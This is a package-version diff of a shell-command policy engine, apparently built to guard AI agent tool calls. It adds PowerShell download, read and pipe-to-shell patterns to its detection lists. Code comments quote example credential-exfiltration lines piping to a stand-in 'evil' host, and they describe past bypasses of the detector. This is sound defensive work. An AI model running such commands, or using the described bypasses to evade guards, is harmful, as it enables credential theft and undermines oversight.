@node9/policy-engine 2.19.2 → 2.21.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.d.mts +2 -2
- package/dist/index.d.ts +2 -2
- package/dist/index.js +58 -7
- package/dist/index.mjs +58 -7
- package/package.json +1 -1
package/dist/index.d.mts
CHANGED
|
@@ -1351,7 +1351,7 @@ declare const LONG_OUTPUT_THRESHOLD_BYTES: number;
|
|
|
1351
1351
|
* and fails CI when the hash drifts without a version bump — forgetting
|
|
1352
1352
|
* is loud, not silent.
|
|
1353
1353
|
*/
|
|
1354
|
-
declare const CANONICAL_EXTRACTOR_VERSION = "canonical-
|
|
1354
|
+
declare const CANONICAL_EXTRACTOR_VERSION = "canonical-v17";
|
|
1355
1355
|
/**
|
|
1356
1356
|
* SHA-256 prefix of the detector-source files
|
|
1357
1357
|
* (canonical.ts + pii.ts + destructive-regex.ts).
|
|
@@ -1362,7 +1362,7 @@ declare const CANONICAL_EXTRACTOR_VERSION = "canonical-v15";
|
|
|
1362
1362
|
* files changed, this hash must change too, and you must consciously
|
|
1363
1363
|
* decide whether to bump CANONICAL_EXTRACTOR_VERSION."
|
|
1364
1364
|
*/
|
|
1365
|
-
declare const CANONICAL_EXTRACTOR_HASH = "
|
|
1365
|
+
declare const CANONICAL_EXTRACTOR_HASH = "ca0a79b38a804347";
|
|
1366
1366
|
declare function extractCanonicalFindings(call: ToolCallEntry, ctx: ExtractContext): CanonicalFinding[];
|
|
1367
1367
|
declare function extractSessionLevelFindings(calls: ReadonlyArray<SessionToolCall>, ctx: SessionExtractContext): CanonicalFinding[];
|
|
1368
1368
|
/**
|
package/dist/index.d.ts
CHANGED
|
@@ -1351,7 +1351,7 @@ declare const LONG_OUTPUT_THRESHOLD_BYTES: number;
|
|
|
1351
1351
|
* and fails CI when the hash drifts without a version bump — forgetting
|
|
1352
1352
|
* is loud, not silent.
|
|
1353
1353
|
*/
|
|
1354
|
-
declare const CANONICAL_EXTRACTOR_VERSION = "canonical-
|
|
1354
|
+
declare const CANONICAL_EXTRACTOR_VERSION = "canonical-v17";
|
|
1355
1355
|
/**
|
|
1356
1356
|
* SHA-256 prefix of the detector-source files
|
|
1357
1357
|
* (canonical.ts + pii.ts + destructive-regex.ts).
|
|
@@ -1362,7 +1362,7 @@ declare const CANONICAL_EXTRACTOR_VERSION = "canonical-v15";
|
|
|
1362
1362
|
* files changed, this hash must change too, and you must consciously
|
|
1363
1363
|
* decide whether to bump CANONICAL_EXTRACTOR_VERSION."
|
|
1364
1364
|
*/
|
|
1365
|
-
declare const CANONICAL_EXTRACTOR_HASH = "
|
|
1365
|
+
declare const CANONICAL_EXTRACTOR_HASH = "ca0a79b38a804347";
|
|
1366
1366
|
declare function extractCanonicalFindings(call: ToolCallEntry, ctx: ExtractContext): CanonicalFinding[];
|
|
1367
1367
|
declare function extractSessionLevelFindings(calls: ReadonlyArray<SessionToolCall>, ctx: SessionExtractContext): CanonicalFinding[];
|
|
1368
1368
|
/**
|
package/dist/index.js
CHANGED
|
@@ -1219,8 +1219,26 @@ var MESSAGE_FLAGS = /* @__PURE__ */ new Set([
|
|
|
1219
1219
|
"--subject",
|
|
1220
1220
|
"--summary"
|
|
1221
1221
|
]);
|
|
1222
|
-
var SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
|
|
1223
|
-
|
|
1222
|
+
var SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
|
|
1223
|
+
"bash",
|
|
1224
|
+
"sh",
|
|
1225
|
+
"zsh",
|
|
1226
|
+
"fish",
|
|
1227
|
+
"dash",
|
|
1228
|
+
"ksh",
|
|
1229
|
+
"iex",
|
|
1230
|
+
"invoke-expression",
|
|
1231
|
+
"powershell",
|
|
1232
|
+
"pwsh"
|
|
1233
|
+
]);
|
|
1234
|
+
var DOWNLOAD_CMDS = /* @__PURE__ */ new Set([
|
|
1235
|
+
"curl",
|
|
1236
|
+
"wget",
|
|
1237
|
+
"iwr",
|
|
1238
|
+
"invoke-webrequest",
|
|
1239
|
+
"irm",
|
|
1240
|
+
"invoke-restmethod"
|
|
1241
|
+
]);
|
|
1224
1242
|
function isCatHeredocOrLit(part) {
|
|
1225
1243
|
if (!part) return false;
|
|
1226
1244
|
const t = syntax.NodeType(part);
|
|
@@ -1469,7 +1487,21 @@ var FS_READ_TOOLS = /* @__PURE__ */ new Set([
|
|
|
1469
1487
|
"uniq",
|
|
1470
1488
|
"tac",
|
|
1471
1489
|
"nl",
|
|
1472
|
-
"dd"
|
|
1490
|
+
"dd",
|
|
1491
|
+
// — PowerShell, absent until 2026-09-22 —
|
|
1492
|
+
// Same membership test, "does it emit file contents": Get-Content/gc print
|
|
1493
|
+
// the file (cat), Select-String/sls print matching lines (grep), Format-Hex
|
|
1494
|
+
// dumps bytes (xxd), Import-Csv/Import-Clixml parse and print (jq). Every
|
|
1495
|
+
// one of these read a credential file with no verdict while its POSIX twin
|
|
1496
|
+
// blocked. Lowercase on purpose: PowerShell is case-insensitive and the
|
|
1497
|
+
// prescreen folds case, so `Get-Content` and `GET-CONTENT` both land here.
|
|
1498
|
+
"get-content",
|
|
1499
|
+
"gc",
|
|
1500
|
+
"select-string",
|
|
1501
|
+
"sls",
|
|
1502
|
+
"format-hex",
|
|
1503
|
+
"import-csv",
|
|
1504
|
+
"import-clixml"
|
|
1473
1505
|
]);
|
|
1474
1506
|
var GREP_SHAPE = {
|
|
1475
1507
|
takesValue: /* @__PURE__ */ new Set([
|
|
@@ -1874,7 +1906,14 @@ var FS_OP_PRESCREEN_RE = new RegExp(
|
|
|
1874
1906
|
// reader right after `"` / `'`, and without these two characters the
|
|
1875
1907
|
// prescreen rejected every string-wrapped read before the parser ran.
|
|
1876
1908
|
// Found 2026-09-11 by instrumenting the walk -- no CallExpr was ever visited.
|
|
1877
|
-
`(?:^|[\\s|;&("'\`\\n/])(?:rm|${[...FS_READ_TOOLS, ...COPY_VERB_HEADS].map((t) => t.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")).join("|")})\\b|(?<!<)<(?!<)
|
|
1909
|
+
`(?:^|[\\s|;&("'\`\\n/])(?:rm|${[...FS_READ_TOOLS, ...COPY_VERB_HEADS].map((t) => t.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")).join("|")})\\b|(?<!<)<(?!<)`,
|
|
1910
|
+
// Case-insensitive on purpose. Without `i`, `CAT .env` failed this fast path
|
|
1911
|
+
// and analyzeFsOperation returned before the AST ran at all — a live bypass
|
|
1912
|
+
// on macOS and Windows, whose filesystems resolve `CAT` to `cat`, and on
|
|
1913
|
+
// PowerShell, which is case-insensitive by language. Linux is unaffected in
|
|
1914
|
+
// practice (`CAT` is not an executable there) but folding costs nothing.
|
|
1915
|
+
// Dogfound 2026-09-22; pinned by verb-case-coverage.spec.ts.
|
|
1916
|
+
"i"
|
|
1878
1917
|
);
|
|
1879
1918
|
var HOME_CACHE_ALLOWLIST = [
|
|
1880
1919
|
".cache",
|
|
@@ -2337,6 +2376,12 @@ function extractLiteralArgs(callExpr) {
|
|
|
2337
2376
|
return { name, flags, paths: args.map((a) => a.value), words, args };
|
|
2338
2377
|
}
|
|
2339
2378
|
var NET_BINARIES = /* @__PURE__ */ new Set([
|
|
2379
|
+
// PowerShell downloaders (2026-09-22). `Invoke-WebRequest -InFile creds`
|
|
2380
|
+
// is the same exfil as `curl -d @creds` and was invisible to isNetworkTool.
|
|
2381
|
+
"iwr",
|
|
2382
|
+
"invoke-webrequest",
|
|
2383
|
+
"irm",
|
|
2384
|
+
"invoke-restmethod",
|
|
2340
2385
|
"curl",
|
|
2341
2386
|
"wget",
|
|
2342
2387
|
"scp",
|
|
@@ -3546,6 +3591,12 @@ function evaluateEgress(dests, policy) {
|
|
|
3546
3591
|
// src/policy/pipe-chain.ts
|
|
3547
3592
|
var SOURCE_COMMANDS = /* @__PURE__ */ new Set([...FS_READ_TOOLS, "tee"]);
|
|
3548
3593
|
var SINK_COMMANDS = /* @__PURE__ */ new Set([
|
|
3594
|
+
// PowerShell (2026-09-22): `Get-Content key | iwr https://evil -Method POST`
|
|
3595
|
+
// is `cat key | curl`, and scored nothing.
|
|
3596
|
+
"iwr",
|
|
3597
|
+
"invoke-webrequest",
|
|
3598
|
+
"irm",
|
|
3599
|
+
"invoke-restmethod",
|
|
3549
3600
|
"curl",
|
|
3550
3601
|
"wget",
|
|
3551
3602
|
"nc",
|
|
@@ -4441,7 +4492,7 @@ var bash_safe_default = {
|
|
|
4441
4492
|
{
|
|
4442
4493
|
field: "command",
|
|
4443
4494
|
op: "matches",
|
|
4444
|
-
value: "(^|&&|\\|\\||;)\\s*(curl|wget)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
|
|
4495
|
+
value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish|dash|ksh|iex|invoke-expression|powershell|pwsh)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
|
|
4445
4496
|
flags: "i"
|
|
4446
4497
|
}
|
|
4447
4498
|
],
|
|
@@ -5738,8 +5789,8 @@ function matchCanaryArgs(args, values) {
|
|
|
5738
5789
|
|
|
5739
5790
|
// src/scan/canonical.ts
|
|
5740
5791
|
var LONG_OUTPUT_THRESHOLD_BYTES = 100 * 1024;
|
|
5741
|
-
var CANONICAL_EXTRACTOR_VERSION = "canonical-
|
|
5742
|
-
var CANONICAL_EXTRACTOR_HASH = "
|
|
5792
|
+
var CANONICAL_EXTRACTOR_VERSION = "canonical-v17";
|
|
5793
|
+
var CANONICAL_EXTRACTOR_HASH = "ca0a79b38a804347";
|
|
5743
5794
|
var DEDUPE_PREVIEW_LEN = 120;
|
|
5744
5795
|
function extractCanonicalFindings(call, ctx) {
|
|
5745
5796
|
const out = [];
|
package/dist/index.mjs
CHANGED
|
@@ -1077,8 +1077,26 @@ var MESSAGE_FLAGS = /* @__PURE__ */ new Set([
|
|
|
1077
1077
|
"--subject",
|
|
1078
1078
|
"--summary"
|
|
1079
1079
|
]);
|
|
1080
|
-
var SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
|
|
1081
|
-
|
|
1080
|
+
var SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
|
|
1081
|
+
"bash",
|
|
1082
|
+
"sh",
|
|
1083
|
+
"zsh",
|
|
1084
|
+
"fish",
|
|
1085
|
+
"dash",
|
|
1086
|
+
"ksh",
|
|
1087
|
+
"iex",
|
|
1088
|
+
"invoke-expression",
|
|
1089
|
+
"powershell",
|
|
1090
|
+
"pwsh"
|
|
1091
|
+
]);
|
|
1092
|
+
var DOWNLOAD_CMDS = /* @__PURE__ */ new Set([
|
|
1093
|
+
"curl",
|
|
1094
|
+
"wget",
|
|
1095
|
+
"iwr",
|
|
1096
|
+
"invoke-webrequest",
|
|
1097
|
+
"irm",
|
|
1098
|
+
"invoke-restmethod"
|
|
1099
|
+
]);
|
|
1082
1100
|
function isCatHeredocOrLit(part) {
|
|
1083
1101
|
if (!part) return false;
|
|
1084
1102
|
const t = syntax.NodeType(part);
|
|
@@ -1327,7 +1345,21 @@ var FS_READ_TOOLS = /* @__PURE__ */ new Set([
|
|
|
1327
1345
|
"uniq",
|
|
1328
1346
|
"tac",
|
|
1329
1347
|
"nl",
|
|
1330
|
-
"dd"
|
|
1348
|
+
"dd",
|
|
1349
|
+
// — PowerShell, absent until 2026-09-22 —
|
|
1350
|
+
// Same membership test, "does it emit file contents": Get-Content/gc print
|
|
1351
|
+
// the file (cat), Select-String/sls print matching lines (grep), Format-Hex
|
|
1352
|
+
// dumps bytes (xxd), Import-Csv/Import-Clixml parse and print (jq). Every
|
|
1353
|
+
// one of these read a credential file with no verdict while its POSIX twin
|
|
1354
|
+
// blocked. Lowercase on purpose: PowerShell is case-insensitive and the
|
|
1355
|
+
// prescreen folds case, so `Get-Content` and `GET-CONTENT` both land here.
|
|
1356
|
+
"get-content",
|
|
1357
|
+
"gc",
|
|
1358
|
+
"select-string",
|
|
1359
|
+
"sls",
|
|
1360
|
+
"format-hex",
|
|
1361
|
+
"import-csv",
|
|
1362
|
+
"import-clixml"
|
|
1331
1363
|
]);
|
|
1332
1364
|
var GREP_SHAPE = {
|
|
1333
1365
|
takesValue: /* @__PURE__ */ new Set([
|
|
@@ -1732,7 +1764,14 @@ var FS_OP_PRESCREEN_RE = new RegExp(
|
|
|
1732
1764
|
// reader right after `"` / `'`, and without these two characters the
|
|
1733
1765
|
// prescreen rejected every string-wrapped read before the parser ran.
|
|
1734
1766
|
// Found 2026-09-11 by instrumenting the walk -- no CallExpr was ever visited.
|
|
1735
|
-
`(?:^|[\\s|;&("'\`\\n/])(?:rm|${[...FS_READ_TOOLS, ...COPY_VERB_HEADS].map((t) => t.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")).join("|")})\\b|(?<!<)<(?!<)
|
|
1767
|
+
`(?:^|[\\s|;&("'\`\\n/])(?:rm|${[...FS_READ_TOOLS, ...COPY_VERB_HEADS].map((t) => t.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")).join("|")})\\b|(?<!<)<(?!<)`,
|
|
1768
|
+
// Case-insensitive on purpose. Without `i`, `CAT .env` failed this fast path
|
|
1769
|
+
// and analyzeFsOperation returned before the AST ran at all — a live bypass
|
|
1770
|
+
// on macOS and Windows, whose filesystems resolve `CAT` to `cat`, and on
|
|
1771
|
+
// PowerShell, which is case-insensitive by language. Linux is unaffected in
|
|
1772
|
+
// practice (`CAT` is not an executable there) but folding costs nothing.
|
|
1773
|
+
// Dogfound 2026-09-22; pinned by verb-case-coverage.spec.ts.
|
|
1774
|
+
"i"
|
|
1736
1775
|
);
|
|
1737
1776
|
var HOME_CACHE_ALLOWLIST = [
|
|
1738
1777
|
".cache",
|
|
@@ -2195,6 +2234,12 @@ function extractLiteralArgs(callExpr) {
|
|
|
2195
2234
|
return { name, flags, paths: args.map((a) => a.value), words, args };
|
|
2196
2235
|
}
|
|
2197
2236
|
var NET_BINARIES = /* @__PURE__ */ new Set([
|
|
2237
|
+
// PowerShell downloaders (2026-09-22). `Invoke-WebRequest -InFile creds`
|
|
2238
|
+
// is the same exfil as `curl -d @creds` and was invisible to isNetworkTool.
|
|
2239
|
+
"iwr",
|
|
2240
|
+
"invoke-webrequest",
|
|
2241
|
+
"irm",
|
|
2242
|
+
"invoke-restmethod",
|
|
2198
2243
|
"curl",
|
|
2199
2244
|
"wget",
|
|
2200
2245
|
"scp",
|
|
@@ -3404,6 +3449,12 @@ function evaluateEgress(dests, policy) {
|
|
|
3404
3449
|
// src/policy/pipe-chain.ts
|
|
3405
3450
|
var SOURCE_COMMANDS = /* @__PURE__ */ new Set([...FS_READ_TOOLS, "tee"]);
|
|
3406
3451
|
var SINK_COMMANDS = /* @__PURE__ */ new Set([
|
|
3452
|
+
// PowerShell (2026-09-22): `Get-Content key | iwr https://evil -Method POST`
|
|
3453
|
+
// is `cat key | curl`, and scored nothing.
|
|
3454
|
+
"iwr",
|
|
3455
|
+
"invoke-webrequest",
|
|
3456
|
+
"irm",
|
|
3457
|
+
"invoke-restmethod",
|
|
3407
3458
|
"curl",
|
|
3408
3459
|
"wget",
|
|
3409
3460
|
"nc",
|
|
@@ -4299,7 +4350,7 @@ var bash_safe_default = {
|
|
|
4299
4350
|
{
|
|
4300
4351
|
field: "command",
|
|
4301
4352
|
op: "matches",
|
|
4302
|
-
value: "(^|&&|\\|\\||;)\\s*(curl|wget)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
|
|
4353
|
+
value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish|dash|ksh|iex|invoke-expression|powershell|pwsh)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
|
|
4303
4354
|
flags: "i"
|
|
4304
4355
|
}
|
|
4305
4356
|
],
|
|
@@ -5596,8 +5647,8 @@ function matchCanaryArgs(args, values) {
|
|
|
5596
5647
|
|
|
5597
5648
|
// src/scan/canonical.ts
|
|
5598
5649
|
var LONG_OUTPUT_THRESHOLD_BYTES = 100 * 1024;
|
|
5599
|
-
var CANONICAL_EXTRACTOR_VERSION = "canonical-
|
|
5600
|
-
var CANONICAL_EXTRACTOR_HASH = "
|
|
5650
|
+
var CANONICAL_EXTRACTOR_VERSION = "canonical-v17";
|
|
5651
|
+
var CANONICAL_EXTRACTOR_HASH = "ca0a79b38a804347";
|
|
5601
5652
|
var DEDUPE_PREVIEW_LEN = 120;
|
|
5602
5653
|
function extractCanonicalFindings(call, ctx) {
|
|
5603
5654
|
const out = [];
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@node9/policy-engine",
|
|
3
|
-
"version": "2.
|
|
3
|
+
"version": "2.21.0",
|
|
4
4
|
"description": "Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.",
|
|
5
5
|
"license": "Apache-2.0",
|
|
6
6
|
"homepage": "https://node9.ai",
|